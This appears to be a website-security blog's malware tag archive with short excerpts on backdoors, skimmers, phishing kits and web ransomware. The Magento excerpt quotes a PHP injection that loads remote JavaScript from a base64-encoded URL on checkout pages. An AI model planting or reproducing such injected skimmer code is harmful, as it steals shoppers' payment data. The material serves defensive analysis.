When it comes to an organization’s security, business email compromise (BEC) attacks are a big problem. One primary reason impacts are so significant is that attacks often use a human victim to authorize a fraudulent transaction to bypass existing security controls that would normally be used to prevent fraud. Another reason is that social engineering […]
Tag Archives: Malware
SQL Triggers in Website Backdoors
Over the past year, there’s been an increasing trend of WordPress malware using SQL triggers to hide malicious SQL queries within compromised databases. These queries inject an admin level user into the infected database whenever the trigger condition is met. What makes this especially problematic for website owners is that most malware cleanup guides focus […]
Whitespace Steganography Conceals Web Shell in PHP Malware
Last November, we wrote about how attackers are using JavaScript injections to load malicious code from legitimate CSS files. At first glance, these injections didn’t appear to contain anything except for some benign CSS rules. A more thorough analysis of the .CSS file revealed 56,964 seemingly empty lines containing combinations of invisible tab (0x09), space […]
Magento PHP Injection Loads JavaScript Skimmer
A Magento website owner was concerned about malware and reached out to our team for assistance. Upon investigation, we found the website contained a PHP injection in one of the Magento files: ./app/code/core/Mage/Payment/Model/Method/Cc.php … if ($_SERVER[“REQUEST_METHOD”] === “GET”){ if (strpos($_SERVER[“REQUEST_URI”], “/onestepcheckout/index/”) !== false){ if(!isset($_COOKIE[“adminhtml”])){ echo file_get_contents(base64_decode(“aHR0cHM6Ly91bmRlcnNjb3JlZndbLl1jb20vc3JjL2tyZWEuanM=”)); } } } To make it more difficult to […]
Real-Time Phishing Kit Targets Brazilian Central Bank
We recently found an interesting phishing kit on a compromised website that has QR code capabilities, along with the ability to control the phishing page in real time. What our investigation revealed was that attackers were leveraging PIX, a new payment method created by the Brazilian Central Bank. Features & Context for PIX PIX was […]
Obfuscation Techniques in Ransomweb “Ransomware”
As vital assets for many business operations, websites and their hosting servers are often the target of ransomware attacks — and if they get taken offline, this can cause major issues for a business’ data, revenue, and ultimately reputation. The worst part about ransomware is that it encrypts data and removes the original encrypted copies. […]
Evaluating Cookies to Hide Backdoors
Identifying website backdoors is not always an easy task. Since a backdoors primary function is to conceal itself while providing unauthorized access, they are often developed using a variety of techniques that can make it challenging to detect. For example, an attacker can inject a single line of code containing less than 130 characters into […]
Bogus CSS Injection Leads to Stolen Credit Card Details
A client recently reported their customers were receiving antivirus warnings when trying to access and purchase products from a Magento ecommerce website. This is almost always a telltale sign that something is amiss, and so I began my investigation. Malware in Database Tables As is pretty common with Magento credit card swiper investigations, my initial […]
SEO Spam Links in Nulled Plugins
It’s not unusual to see website owners running things on a budget. Choosing a safe and reliable hosting company, buying a nice domain name, boosting posts on social media, and ranking on search engines — all this costs a lot of money. At the end of the day, some site owners may even choose to […]
Why You Should Monitor Your Website
In an effort to maintain unauthorized access or profit off a website’s environment long after an initial compromise, attackers commonly leverage a variety of different techniques and tactics. These techniques range from adding backdoors, stealing sensitive data, redirecting the site to other third-party resources, or even injecting specially crafted links to give their own sites […]
